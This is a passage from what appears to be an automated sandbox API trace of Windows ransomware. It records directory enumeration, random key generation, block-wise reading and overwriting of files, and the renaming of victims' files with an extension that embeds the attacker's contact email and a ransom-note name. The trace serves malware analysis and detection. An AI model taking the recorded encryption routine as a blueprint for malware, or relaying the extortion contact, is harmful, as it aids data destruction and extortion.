lpNumberOfBytesWritten=0x2713fb3c*=0x20, lpOverlapped=0x0) returned 1 [0082.453] WriteFile (in: hFile=0x450, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2713fb3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2713fb3c*=0x4, lpOverlapped=0x0) returned 1 [0082.453] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0082.453] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0082.453] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca88) returned 1 [0082.453] CloseHandle (hObject=0x450) returned 1 [0082.453] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0082.453] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" [0082.453] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0082.453] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.454] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0082.454] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0082.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0082.455] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\" [0082.455] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt" [0082.455] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\d0e731-readme.txt")) returned 0x20 [0082.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0082.455] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475bc0) returned 1 [0082.455] RtlExitUserThread (Status=0x1) Thread: id = 1097 os_tid = 0x11c0 [0082.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428418 [0082.456] wcscpy (in: _Dest=0x3428418, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0082.456] wcscat (in: _Dest=0x3428418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0082.456] wcscat (in: _Dest=0x3428418, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*" [0082.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab6e0 [0082.456] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dff18 [0082.456] wcscmp (_String1=".", _String2=".") returned 0 [0082.456] FindNextFileW (in: hFindFile=0x33dff18, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.457] wcscmp (_String1="..", _String2=".") returned 1 [0082.457] wcscmp (_String1="..", _String2="..") returned 0 [0082.457] FindNextFileW (in: hFindFile=0x33dff18, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0082.457] wcscmp (_String1="RunTime", _String2=".") returned 1 [0082.457] wcscmp (_String1="RunTime", _String2="..") returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3487418 [0082.457] wcscpy (in: _Dest=0x3487418, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0082.457] wcscat (in: _Dest=0x3487418, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0082.457] wcscat (in: _Dest=0x3487418, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" [0082.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3487418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0082.940] FindNextFileW (in: hFindFile=0x33dff18, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.941] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.941] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7958 [0082.941] wcscpy (in: _Dest=0x33f7958, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0082.941] wcscat (in: _Dest=0x33f7958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0082.941] wcscat (in: _Dest=0x33f7958, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" [0082.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0082.941] FindNextFileW (in: hFindFile=0x33dff18, lpFindFileData=0x34ab6e0 | out: lpFindFileData=0x34ab6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.941] FindClose (in: hFindFile=0x33dff18 | out: hFindFile=0x33dff18) returned 1 [0082.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ab6e0) returned 1 [0082.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428418) returned 1 [0082.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427da0) returned 1 [0082.942] RtlExitUserThread (Status=0x0) Thread: id = 1098 os_tid = 0x11c4 [0082.457] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl")) returned 0x2020 [0082.458] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl", dwFileAttributes=0x20) returned 0 [0082.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.458] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl", dwFileAttributes=0x2020) returned 0 [0082.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34322f8) returned 1 [0082.458] RtlExitUserThread (Status=0x0) Thread: id = 1099 os_tid = 0x1280 [0082.459] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl")) returned 0x2020 [0082.460] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl", dwFileAttributes=0x20) returned 1 [0082.460] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0082.460] GetFileSizeEx (in: hFile=0x640, lpFileSize=0x272bfa84 | out: lpFileSize=0x272bfa84*=196608) returned 1 [0082.460] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x2fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.460] ReadFile (in: hFile=0x640, lpBuffer=0x272bfa58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x272bfa58*, lpNumberOfBytesRead=0x272bfa54*=0x4, lpOverlapped=0x0) returned 1 [0082.462] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0082.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cbf0 [0082.462] NtQuerySystemTime (in: CurrentTime=0x272bfa30 | out: CurrentTime=0x272bfa30*=132121176403516420) returned 0x0 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x7d5b37c7 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xe34eb28d [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x6db5d58 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x85a2e692 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x135aa218 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x912a713f [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x14404cb0 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x8aec62cb [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x23641117 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x536bdad4 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xa60890e1 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x92176faa [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x7378f02c [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x334944ba [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x48002c0c [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xafa6afa2 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xa3759862 [0082.462] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xe0a8a4df [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xd1d6dbd7 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xda329a29 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xba1d7888 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xc51ce48d [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x99e9ac0b [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x7dc74547 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xf80d82b [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x287cf60b [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x6fc924fb [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xbb54dda7 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xbbb4c2d1 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x26a015f7 [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0xf024c1cb [0082.463] RtlRandom (in: Seed=0x272bfa3c | out: Seed=0x272bfa3c) returned 0x3a7c00ea [0082.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.474] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.474] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.474] ReadFile (in: hFile=0x640, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x272bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x272bf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.477] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0082.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.477] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cab0) returned 1 [0082.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cab0 [0082.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0082.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0082.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0082.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.478] WriteFile (in: hFile=0x640, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x272bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x272bf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.478] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x18384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.478] ReadFile (in: hFile=0x640, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x272bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x272bf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.480] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x18384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd0d0 [0082.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0082.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.480] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cad8 [0082.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.480] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0082.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd0d0) returned 1 [0082.481] WriteFile (in: hFile=0x640, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x272bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x272bf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.481] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x2bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.481] ReadFile (in: hFile=0x640, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x272bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x272bf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.482] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x2bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0082.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0082.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.482] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0082.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c830 [0082.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c830) returned 1 [0082.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0082.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x272bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x272bf9f0*=0x4096, lpOverlapped=0x0) returned 1 [0082.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x342cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x272bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x342cab0*, lpNumberOfBytesWritten=0x272bfa4c*=0x20, lpOverlapped=0x0) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x342cad8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x272bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x342cad8*, lpNumberOfBytesWritten=0x272bfa4c*=0x20, lpOverlapped=0x0) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x342cb00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x272bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x342cb00*, lpNumberOfBytesWritten=0x272bfa4c*=0x20, lpOverlapped=0x0) returned 1 [0082.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x342ca88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x342ca88*, lpNumberOfBytesWritten=0x272bfa54*=0x8, lpOverlapped=0x0) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x272bfa6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x272bfa6c*, lpNumberOfBytesWritten=0x272bfa54*=0x4, lpOverlapped=0x0) returned 1 [0082.483] WriteFile (in: hFile=0x640, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x272bfa54*=0x4, lpOverlapped=0x0) returned 1 [0082.484] WriteFile (in: hFile=0x640, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x272bfa54, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x272bfa54*=0x6c, lpOverlapped=0x0) returned 1 